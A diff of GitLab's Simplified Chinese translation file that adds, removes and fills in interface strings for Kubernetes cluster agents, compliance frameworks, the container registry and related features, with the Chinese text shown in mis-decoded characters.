-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
-msgstr "å°†Kubernetes与GitLab Agent集æˆ"
+msgid "ClusterAgents|How to register an agent?"
+msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
-msgstr "与GitLab Agent集æˆ"
+msgid "ClusterAgents|Install a new agent"
+msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
msgstr "上次连接在 %{timeAgo}。"
@@ -7233,6 +7367,9 @@ msgstr "最åŽä¸€æ¬¡è”ç³»"
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr "了解如何创建一个 agent 访问令牌"
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr "请确ä¿æ‚¨æ­£åœ¨ä½¿ç”¨ä¸€ä¸ªæœ‰æ•ˆçš„令牌。"
@@ -7245,60 +7382,78 @@ msgstr "从ä¸"
msgid "ClusterAgents|Never connected"
msgstr "从未连接"
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr "未连接"
-msgid "ClusterAgents|Read more about getting started"
-msgstr "阅读有关入门的更多信æ¯"
+msgid "ClusterAgents|Recommended"
+msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr "推è安装方法"
+msgid "ClusterAgents|Register"
+msgstr ""
+
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
+msgstr ""
+
msgid "ClusterAgents|Registering Agent"
msgstr "注册代ç†"
msgid "ClusterAgents|Registration token"
msgstr "注册令牌"
-msgid "ClusterAgents|Select an Agent"
-msgstr "选择一个代ç†"
-
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
-msgstr "选择è¦å‘ GitLab 注册并安装在集群上的代ç†ã€‚è¦äº†è§£æœ‰å…³ Kubernetes 代ç†æ³¨å†Œè¿‡ç¨‹çš„更多信æ¯ï¼Œ%{linkStart}请转到文档%{linkEnd}。"
-
-msgid "ClusterAgents|Select which Agent you want to install"
-msgstr "选择您想è¦å®‰è£…的代ç†"
+msgid "ClusterAgents|Security"
+msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
-msgstr "代ç†å¾ˆä¹…未连接。å¯èƒ½å­˜åœ¨è¿žæŽ¥é—®é¢˜ã€‚最åŽä¸€æ¬¡è”系是在 %{timeAgo}。"
+msgid "ClusterAgents|Select an agent"
+msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
-msgstr "GitLab Agent也需è¦%{linkStart}å¯ç”¨ä»£ç†æœåŠ¡å™¨%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
+msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
-msgstr "GitLab Kubernetes Agent通过基础设施å³ä»£ç ï¼ŒGitOps方法æ¥å®žçŽ°Kubernetes集群与GitLab的集æˆã€‚ %{linkStart}了解更多信æ¯ã€‚%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
+msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
-msgstr "下é¢æ供的推è安装方法包括令牌。如果您想éµå¾ªæ–‡æ¡£ä¸­æ供的替代安装方法,请确ä¿åœ¨å…³é—­çª—å£ä¹‹å‰ä¿å­˜ä»¤ç‰Œå€¼ã€‚"
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
-msgstr "注册令牌将用于将集群上的代ç†è¿žæŽ¥åˆ° GitLab。è¦äº†è§£æœ‰å…³æ³¨å†Œä»¤ç‰ŒåŠå…¶ä½¿ç”¨æ–¹å¼çš„更多信æ¯ï¼Œ%{linkStart}转到文档%{linkEnd}。"
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
+msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
-msgstr "关闭此窗å£åŽå°†ä¸å†æ˜¾ç¤ºä»¤ç‰Œå€¼ã€‚"
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
+msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr "此代ç†æ²¡æœ‰ä»¤ç‰Œ"
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
-msgstr "è¦å®‰è£…代ç†ï¼Œæ‚¨åº”该首先在仓库中创建一个代ç†ç›®å½•ã€‚我们建议您在开始安装过程之å‰å°†ä»£ç†é…置添加到目录中。"
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
+msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr "未知用户"
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr "您需è¦åˆ›å»ºä¸€ä¸ªä»¤ç‰Œæ‰èƒ½è¿žæŽ¥åˆ°æ‚¨çš„代ç†"
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr "用户æƒé™ä¸è¶³ï¼Œæ— æ³•ä¸ºæ­¤é¡¹ç›®åˆ›å»ºä»¤ç‰Œ"
@@ -7411,7 +7566,7 @@ msgid "ClusterIntegration|Check your token"
msgstr "检查您的令牌"
msgid "ClusterIntegration|Choose the %{linkStart}security group%{linkEnd} to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets."
-msgstr ""
+msgstr "选择应用于在工作节点å­ç½‘中创建并由EKS管ç†çš„弹性网络接å£çš„%{linkStart}安全组%{linkEnd}。"
msgid "ClusterIntegration|Choose the %{linkStart}subnets %{linkEnd} in your VPC where your worker nodes will run."
msgstr "在VPC中选择è¿è¡Œå·¥ä½œèŠ‚点的%{linkStart}å­ç½‘%{linkEnd}。"
@@ -7440,15 +7595,18 @@ msgstr "群集å称为必填项。"
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr "层级中最低且匹é…环境范围的集群将会被使用。例如,项目群集将优先于群组群集。%{linkStart}更多信æ¯%{linkEnd}"
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr "使用è¯ä¹¦è¿žæŽ¥çš„集群"
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr "使用è¯ä¹¦è¿žæŽ¥é›†ç¾¤"
msgid "ClusterIntegration|Connect existing cluster"
msgstr "连接现有集群"
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr "连接错误"
@@ -7575,9 +7733,6 @@ msgstr "正在获å–项目"
msgid "ClusterIntegration|Fetching zones"
msgstr "正在获å–地域"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr "GitLab Agent管ç†çš„集群"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab集æˆ"
@@ -7623,12 +7778,6 @@ msgstr "实例集群"
msgid "ClusterIntegration|Instance type"
msgstr "实例类型"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr "å°†Kubernetes与集群è¯ä¹¦é›†æˆ"
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr "与集群è¯ä¹¦é›†æˆ"
-
msgid "ClusterIntegration|Integration disabled"
msgstr "集æˆå·²ç¦ç”¨"
@@ -7650,9 +7799,6 @@ msgstr "Kubernetes 集群å称"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr "å·²æˆåŠŸåˆ›å»ºKubernetes集群。"
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "通过Kubernetes群集集æˆï¼Œå¯ä»¥è½»æ¾åœ°ä½¿ç”¨è¯„审应用ã€éƒ¨ç½²åº”用ã€è¿è¡Œæµæ°´çº¿ç­‰ç­‰ã€‚"
-
msgid "ClusterIntegration|Kubernetes version"
msgstr "Kubernetes版本"
@@ -7852,7 +7998,7 @@ msgid "ClusterIntegration|See and edit the details for your Kubernetes cluster"
msgstr "查看并编辑Kubernetes集群的详细信æ¯"
msgid "ClusterIntegration|Select a VPC"
-msgstr ""
+msgstr "选择一个 VPC"
msgid "ClusterIntegration|Select a VPC to choose a security group"
msgstr "请先选择一个区域然åŽé€‰æ‹©å®‰å…¨ç»„"
@@ -7864,7 +8010,7 @@ msgid "ClusterIntegration|Select a VPC to use for your EKS Cluster resources. To
msgstr "请选择EKS集群的VPC。如需使用新的VPC, 请先在%{linkStart}Amazon Web Services%{linkEnd}上创建一个。"
msgid "ClusterIntegration|Select a network"
-msgstr ""
+msgstr "选择一个网络"
msgid "ClusterIntegration|Select a network to choose a subnetwork"
msgstr "选择一个网络以选择å­ç½‘"
@@ -7876,22 +8022,22 @@ msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr "请先选择一个区域然åŽé€‰æ‹©VPC"
msgid "ClusterIntegration|Select a security group"
-msgstr ""
+msgstr "选择一个安全组"
msgid "ClusterIntegration|Select a subnet"
-msgstr ""
+msgstr "选择å­ç½‘"
msgid "ClusterIntegration|Select a subnetwork"
-msgstr ""
+msgstr "选择å­ç½‘络"
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "选择区域以选择网络"
msgid "ClusterIntegration|Select an instance type"
-msgstr ""
+msgstr "选择实例类型"
msgid "ClusterIntegration|Select key pair"
-msgstr ""
+msgstr "选择密钥对"
msgid "ClusterIntegration|Select machine type"
msgstr "选择实例类型"
@@ -7906,7 +8052,7 @@ msgid "ClusterIntegration|Select project to choose zone"
msgstr "按项目选择地域"
msgid "ClusterIntegration|Select service role"
-msgstr ""
+msgstr "选择æœåŠ¡è§’色"
msgid "ClusterIntegration|Select the key pair name that will be used to create EC2 nodes. To use a new key pair name, first create one on %{linkStart}Amazon Web Services%{linkEnd}."
msgstr "选择将用于创建EC2节点的密钥对å称。如需è¦ä½¿ç”¨æ–°çš„密钥对å称,请先在%{linkStart}Amazon Web Services%{linkEnd}上创建一个。"
@@ -7953,6 +8099,9 @@ msgstr "用于对群集进行身份验è¯çš„ Kubernetes è¯ä¹¦ã€‚"
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "用于访问 Kubernetes API 的 URL。"
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr "与当å‰é¡¹ç›®ç›¸å…³è”的命å空间。用于部署看æ¿ã€pod日志和Web terminal。"
@@ -8007,6 +8156,9 @@ msgstr "无法连接"
msgid "ClusterIntegration|Unknown Error"
msgstr "未知错误"
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "为此集群使用Cloud Run,Istioå’ŒHTTP负载平衡æ’件。"
@@ -8064,9 +8216,6 @@ msgstr "加载集群时å‘生了错误"
msgid "Code"
msgstr "代ç "
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr "代ç è¦†ç›–率: %{coveragePercentage}"
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr "代ç è¦†ç›–率: %{coveragePercentage}%{percentSymbol}"
@@ -8103,6 +8252,9 @@ msgstr "代ç æ‰€æœ‰è€…"
msgid "Code review"
msgstr "代ç å®¡æ ¸"
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr "代ç ç‰‡æ®µå·²å¤åˆ¶ã€‚将其æ’å…¥ YAML 文件中的正确ä½ç½®ã€‚"
@@ -8312,7 +8464,7 @@ msgid "Company"
msgstr "å…¬å¸"
msgid "Company Name"
-msgstr ""
+msgstr "å…¬å¸å称"
msgid "Compare"
msgstr "比较"
@@ -8396,13 +8548,13 @@ msgid "Completed"
msgstr "已完æˆ"
msgid "Completed in %{duration_seconds} seconds (%{relative_time})"
-msgstr ""
+msgstr "在 %{duration_seconds} 秒内完æˆï¼ˆ%{relative_time})"
msgid "Compliance framework"
msgstr "åˆè§„框架"
msgid "Compliance report"
-msgstr ""
+msgstr "åˆè§„报告"
msgid "ComplianceDashboard|created by:"
msgstr "创建人:"
@@ -8411,22 +8563,22 @@ msgid "ComplianceFrameworks|Add framework"
msgstr "添加框架"
msgid "ComplianceFrameworks|Background color"
-msgstr ""
+msgstr "背景颜色"
msgid "ComplianceFrameworks|Cancel"
-msgstr ""
+msgstr "å–消"
msgid "ComplianceFrameworks|Compliance framework deleted successfully"
msgstr "åˆè§„框架已æˆåŠŸåˆ é™¤"
msgid "ComplianceFrameworks|Compliance pipeline configuration (optional)"
-msgstr ""
+msgstr "åˆè§„æµæ°´çº¿é…置(å¯é€‰ï¼‰"
msgid "ComplianceFrameworks|Configuration not found"
-msgstr ""
+msgstr "找ä¸åˆ°é…ç½®"
msgid "ComplianceFrameworks|Configured compliance frameworks appear here."
-msgstr ""
+msgstr "å·²é…置的åˆè§„框架显示在此处。"
msgid "ComplianceFrameworks|Delete compliance framework %{framework}"
msgstr "删除åˆè§„框架%{framework}"
@@ -8435,10 +8587,10 @@ msgid "ComplianceFrameworks|Delete framework"
msgstr "删除框架"
msgid "ComplianceFrameworks|Description"
-msgstr ""
+msgstr "æè¿°"
msgid "ComplianceFrameworks|Description is required"
-msgstr ""
+msgstr "æ述是必需的"
msgid "ComplianceFrameworks|Edit framework"
msgstr "编辑框架"
@@ -8453,19 +8605,19 @@ msgid "ComplianceFrameworks|Error fetching compliance frameworks data. Please re
msgstr "获å–åˆè§„框架数æ®æ—¶å‡ºé”™ã€‚请刷新页é¢æˆ–å°è¯•å…¶å®ƒçš„框架"
msgid "ComplianceFrameworks|Invalid format"
-msgstr ""
+msgstr "无效格å¼"
msgid "ComplianceFrameworks|Name"
-msgstr ""
+msgstr "å称"
msgid "ComplianceFrameworks|Name is required"
-msgstr ""
+msgstr "å称是必需的"
msgid "ComplianceFrameworks|No compliance frameworks are configured"
-msgstr ""
+msgstr "未é…ç½®åˆè§„框架"
msgid "ComplianceFrameworks|Required format: %{codeStart}path/file.y[a]ml@group-name/project-name%{codeEnd}. %{linkStart}Learn more.%{linkEnd}"
-msgstr ""
+msgstr "所需格å¼ï¼š %{codeStart}path/file.y[a]ml@group-name/project-name%{codeEnd}。 %{linkStart}了解更多。%{linkEnd}"
msgid "ComplianceFrameworks|Unable to save this compliance framework. Please try again"
msgstr "无法ä¿å­˜æ­¤åˆè§„性框架。请é‡è¯•"
@@ -8474,10 +8626,10 @@ msgid "ComplianceFrameworks|You are about to permanently delete the compliance f
msgstr "您å³å°†ä»Žæ‰€æœ‰å½“å‰åº”用的项目中永久删除åˆè§„框架 %{framework} ,这å¯èƒ½ä¼šåˆ é™¤å…¶å®ƒåŠŸèƒ½ã€‚æ­¤æ“作无法撤消。"
msgid "ComplianceFramework|Edit compliance framework"
-msgstr ""
+msgstr "编辑åˆè§„框架"
msgid "ComplianceFramework|New compliance framework"
-msgstr ""
+msgstr "新建åˆè§„框架"
msgid "Component"
msgstr "组件"
@@ -8527,6 +8679,12 @@ msgstr "é…置集æˆ"
msgid "Configure Prometheus"
msgstr "é…ç½®Promethes"
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr "使用 GitLab 托管模æ¿åœ¨ `.gitlab-ci.yml` 中é…ç½® SAST。您å¯ä»¥[添加å˜é‡é‡å†™](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) æ¥è‡ªå®šä¹‰ SAST 设置。"
@@ -8539,6 +8697,9 @@ msgstr "使用 GitLab 托管模æ¿åœ¨ `.gitlab-ci.yml` 中é…置密钥检测。æ
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr "在 `.gitlab-ci.yml` 中é…ç½® Secret Detection,如果该文件ä¸å­˜åœ¨åˆ™åˆ›å»ºæ­¤æ–‡ä»¶"
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "é…置跟踪"
@@ -8578,9 +8739,6 @@ msgstr "é…置默认的æ¯å‘¨ç¬¬ä¸€å¤©å’Œæ—¶é—´è·Ÿè¸ªå•ä½ã€‚"
msgid "Configure the way a user creates a new account."
msgstr "é…置用户创建新å¸æˆ·çš„æ–¹å¼ã€‚"
-msgid "Configure via Merge Request"
-msgstr "通过åˆå¹¶è¯·æ±‚é…ç½®"
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr "é…置显示给任何访问此看æ¿çš„人的列表"
@@ -8696,7 +8854,7 @@ msgid "Contact support"
msgstr "è”系支æŒ"
msgid "Contacts"
-msgstr ""
+msgstr "è”系人"
msgid "Container Registry"
msgstr "容器镜åƒåº“"
@@ -8821,7 +8979,7 @@ msgid "ContainerRegistry|Delete selected tags"
msgstr "删除选中的标签"
msgid "ContainerRegistry|Delete tag"
-msgstr ""
+msgstr "删除标签"
msgid "ContainerRegistry|Deleting the image repository will delete all images and tags inside. This action cannot be undone. Please type the following to confirm: %{code}"
msgstr "删除镜åƒä»“库会删除里é¢çš„所有镜åƒå’Œæ ‡ç­¾ã€‚æ­¤æ“作无法撤消。请输入以下内容进行确认: %{code}"
@@ -9020,7 +9178,7 @@ msgid "ContainerRegistry|To widen your search, change or remove the filters abov
msgstr "è¦æ‰©å¤§æœç´¢èŒƒå›´ï¼Œè¯·æ›´æ”¹æˆ–删除上é¢çš„筛选器。"
msgid "ContainerRegistry|We are having trouble connecting to the Container Registry. Please try refreshing the page. If this error persists, please review %{docLinkStart}the troubleshooting documentation%{docLinkEnd}."
-msgstr ""
+msgstr "连接到容器镜åƒåº“出错。请å°è¯•åˆ·æ–°é¡µé¢ã€‚如果此错误ä»ç„¶å­˜åœ¨ï¼Œè¯·æŸ¥çœ‹ %{docLinkStart}故障排查文档%{docLinkEnd}。"
msgid "ContainerRegistry|With the Container Registry, every project can have its own space to store its Docker images. %{docLinkStart}More Information%{docLinkEnd}"
msgstr "在容器镜åƒåº“中,æ¯ä¸ªé¡¹ç›®éƒ½æœ‰è‡ªå·±çš„空间æ¥å­˜å‚¨å®¹å™¨é•œåƒã€‚ %{docLinkStart}更多信æ¯%{docLinkEnd}"
@@ -9233,7 +9391,7 @@ msgid "Copy link to chart"
msgstr "å¤åˆ¶å›¾è¡¨çš„链接"
msgid "Copy reference"
-msgstr "å¤åˆ¶å‚ç…§"
+msgstr "å¤åˆ¶å¼•ç”¨åœ°å€"
msgid "Copy secret"
msgstr "å¤åˆ¶å¯†ç "
@@ -9289,8 +9447,8 @@ msgstr "最åŽä½¿ç”¨"
msgid "CorpusManagement|Latest Job:"
msgstr "最新作业:"
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
-msgstr "新语料库需è¦ä¸Šä¼ *.zip æ ¼å¼ã€‚最大10Gib"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
+msgstr ""
msgid "CorpusManagement|New upload"
msgstr "新上传"
@@ -9422,7 +9580,7 @@ msgid "Couldn't assign policy to project"
msgstr "无法将策略分é…给项目"
msgid "Country"
-msgstr ""
+msgstr "国家/地区"
msgid "Coverage"
msgstr "覆盖率"
@@ -9443,6 +9601,9 @@ msgid "Create %{type}"
msgstr "创建%{type}"
msgid "Create %{workspace} label"
+msgstr "创建 %{workspace} 标记"
+
+msgid "Create Google Cloud project"
msgstr ""
msgid "Create New Directory"
@@ -9473,7 +9634,7 @@ msgid "Create a new issue"
msgstr "创建新议题"
msgid "Create a new project"
-msgstr ""
+msgstr "创建一个新项目"
msgid "Create a new repository"
msgstr "创建一个新仓库"
@@ -9604,6 +9765,9 @@ msgstr "创建å‘布"
msgid "Create requirement"
msgstr "创建需求"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr "创建代ç ç‰‡æ–­"
@@ -9611,7 +9775,7 @@ msgid "Create tag %{tagName}"
msgstr "创建标签 %{tagName}"
msgid "Create topic"
-msgstr ""
+msgstr "创建主题"
msgid "Create user"
msgstr "创建用户"
@@ -9637,9 +9801,6 @@ msgstr "您无æƒåˆ›å»ºç¾¤ç»„。"
msgid "CreateTag|Tag"
msgstr "标签"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "创建个人访问令牌"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr "%{name} (默认)"
@@ -9731,7 +9892,7 @@ msgid "CreateValueStreamForm|Restore stage"
msgstr "æ¢å¤é˜¶æ®µ"
msgid "CreateValueStreamForm|Save value stream"
-msgstr ""
+msgstr "ä¿å­˜ä»·å€¼æµ"
msgid "CreateValueStreamForm|Select end event"
msgstr "选择结æŸäº‹ä»¶"
@@ -9854,11 +10015,41 @@ msgid "CredentialsInventory|SSH Keys"
msgstr "SSH密钥"
msgid "Credit card:"
-msgstr ""
+msgstr "信用å¡ï¼š"
msgid "Critical vulnerabilities present"
msgstr "存在严é‡æ¼æ´ž"
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Cron 时区"
@@ -9911,7 +10102,7 @@ msgid "Current sign-in at:"
msgstr "当å‰ç™»å½•äºŽï¼š"
msgid "Current sign-in ip"
-msgstr ""
+msgstr "当å‰ç™»å½• IP"
msgid "Current vulnerabilities count"
msgstr "当å‰æ¼æ´žæ•°é‡"
@@ -9968,13 +10159,13 @@ msgid "Custom range (UTC)"
msgstr "自定义范围 (UTC)"
msgid "Customer Relations Contacts"
-msgstr ""
+msgstr "客户关系è”系人"
msgid "Customer Relations Organizations"
-msgstr ""
+msgstr "客户关系组织"
msgid "Customer relations"
-msgstr ""
+msgstr "客户关系"
msgid "Customizable by an administrator."
msgstr "å¯ç”±ç®¡ç†å‘˜è‡ªå®šä¹‰ã€‚"
@@ -10136,7 +10327,7 @@ msgid "CycleAnalytics|Display chart filters"
msgstr "显示图表筛选器"
msgid "CycleAnalytics|Lead Time for Changes"
-msgstr ""
+msgstr "å˜æ›´çš„交付时间"
msgid "CycleAnalytics|No stages selected"
msgstr "未选择阶段"
@@ -10204,7 +10395,7 @@ msgid "DAST Scans"
msgstr "DAST 扫æ"
msgid "DAST profile not found: %{name}"
-msgstr ""
+msgstr "未找到 DAST é…置文件:%{name}"
msgid "DNS"
msgstr "DNS"
@@ -10245,6 +10436,9 @@ msgstr "该图表显示基于 %{linkStart}deployment_tier%{linkEnd} 值的生产
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "该图表显示åˆå¹¶è¯·æ±‚被åˆå¹¶å’Œéƒ¨ç½²åˆ°ç”Ÿäº§çŽ¯å¢ƒä¹‹é—´çš„中间值时间,这些时间基于 %{linkStart}deployment_tier%{linkEnd} 值。"
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "仪表æ¿"
@@ -10700,7 +10894,7 @@ msgid "Date range"
msgstr "日期范围"
msgid "Date range limited to %{number} days"
-msgstr ""
+msgstr "日期范围é™åˆ¶ä¸º %{number} 天"
msgid "Date range must be shorter than %{max_range} days."
msgstr "日期范围必须å°äºŽ %{max_range} 天。"
@@ -10769,7 +10963,7 @@ msgid "Default branch and protected branches"
msgstr "默认分支和å—ä¿æŠ¤çš„分支"
msgid "Default branch protection"
-msgstr ""
+msgstr "默认分支ä¿æŠ¤"
msgid "Default classification label"
msgstr "默认分类标记"
@@ -10811,28 +11005,28 @@ msgid "DefaultBranchLabel|default"
msgstr "default"
msgid "DefaultBranchProtection|Both developers and maintainers can push new commits, but cannot force push."
-msgstr ""
+msgstr "å¼€å‘者和维护者都å¯ä»¥æŽ¨é€æ–°çš„æ交,但ä¸èƒ½å¼ºåˆ¶æŽ¨é€ã€‚"
msgid "DefaultBranchProtection|Both developers and maintainers can push new commits, force push, or delete the branch."
-msgstr ""
+msgstr "å¼€å‘者和维护者都å¯ä»¥æŽ¨é€æ–°çš„æ交,强制推é€æˆ–删除分支。"
msgid "DefaultBranchProtection|Developers cannot push new commits, but are allowed to accept merge requests to the branch. Maintainers can push to the branch."
-msgstr ""
+msgstr "å¼€å‘者ä¸èƒ½æŽ¨é€æ–°çš„æ交,但å…许接å—åˆå¹¶è¯·æ±‚到分支。维护者å¯ä»¥æŽ¨é€åˆ°åˆ†æ”¯ã€‚"
msgid "DefaultBranchProtection|Developers cannot push new commits, but maintainers can. No one can force push."
-msgstr ""
+msgstr "å¼€å‘者ä¸èƒ½æŽ¨é€æ–°çš„æ交,但是维护者å¯ä»¥ã€‚没有人å¯ä»¥å¼ºåˆ¶æŽ¨é€ã€‚"
msgid "DefaultBranchProtection|Fully protected"
-msgstr ""
+msgstr "完全ä¿æŠ¤"
msgid "DefaultBranchProtection|Not protected"
-msgstr ""
+msgstr "未ä¿æŠ¤"
msgid "DefaultBranchProtection|Partially protected"
-msgstr ""
+msgstr "部分ä¿æŠ¤"
msgid "DefaultBranchProtection|Protected against pushes"
-msgstr ""
+msgstr "ä¿æŠ¤é˜»æ­¢æŽ¨é€ã€‚"
msgid "Define a custom deploy freeze pattern with %{cronSyntaxStart}cron syntax%{cronSyntaxEnd}"
msgstr "使用%{cronSyntaxStart}cron语法%{cronSyntaxEnd}定义自定义部署冻结模å¼"
@@ -10891,6 +11085,9 @@ msgstr "删除评论"
msgid "Delete Key"
msgstr "删除密钥"
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr "删除值æµ"
@@ -10912,6 +11109,9 @@ msgstr "删除评论"
msgid "Delete corpus"
msgstr "删除语料库"
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr "删除文件"
@@ -10966,9 +11166,6 @@ msgstr "删除用户列表"
msgid "Delete variable"
msgstr "删除å˜é‡"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "删除项目仓库失败。请é‡è¯•æˆ–è”系管ç†å‘˜ã€‚"
@@ -11014,6 +11211,12 @@ msgstr "已删除的项目"
msgid "Deleted projects cannot be restored!"
msgstr "已删除的项目无法æ¢å¤!"
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr "删除中"
@@ -11128,14 +11331,17 @@ msgstr "ä¾èµ–项代ç†"
msgid "Dependency Scanning"
msgstr "ä¾èµ–项扫æ"
-msgid "DependencyProxy|Cached %{time}"
+msgid "Dependency list"
msgstr ""
+msgid "DependencyProxy|Cached %{time}"
+msgstr "已缓存 %{time}"
+
msgid "DependencyProxy|Contains %{count} blobs of images (%{size})"
-msgstr ""
+msgstr "åŒ…å« %{count} 个镜åƒå—(%{size})"
msgid "DependencyProxy|Copy prefix"
-msgstr ""
+msgstr "å¤åˆ¶å‰ç¼€"
msgid "DependencyProxy|Create a local proxy for storing frequently used upstream images. %{docLinkStart}Learn more%{docLinkEnd} about dependency proxies."
msgstr "创建一个本地代ç†ï¼Œç”¨äºŽå­˜å‚¨é¢‘ç¹ä½¿ç”¨çš„上游镜åƒã€‚ %{docLinkStart}了解更多%{docLinkEnd} 关于ä¾èµ–代ç†çš„内容。"
@@ -11143,19 +11349,25 @@ msgstr "创建一个本地代ç†ï¼Œç”¨äºŽå­˜å‚¨é¢‘ç¹ä½¿ç”¨çš„上游镜åƒã€‚ %{
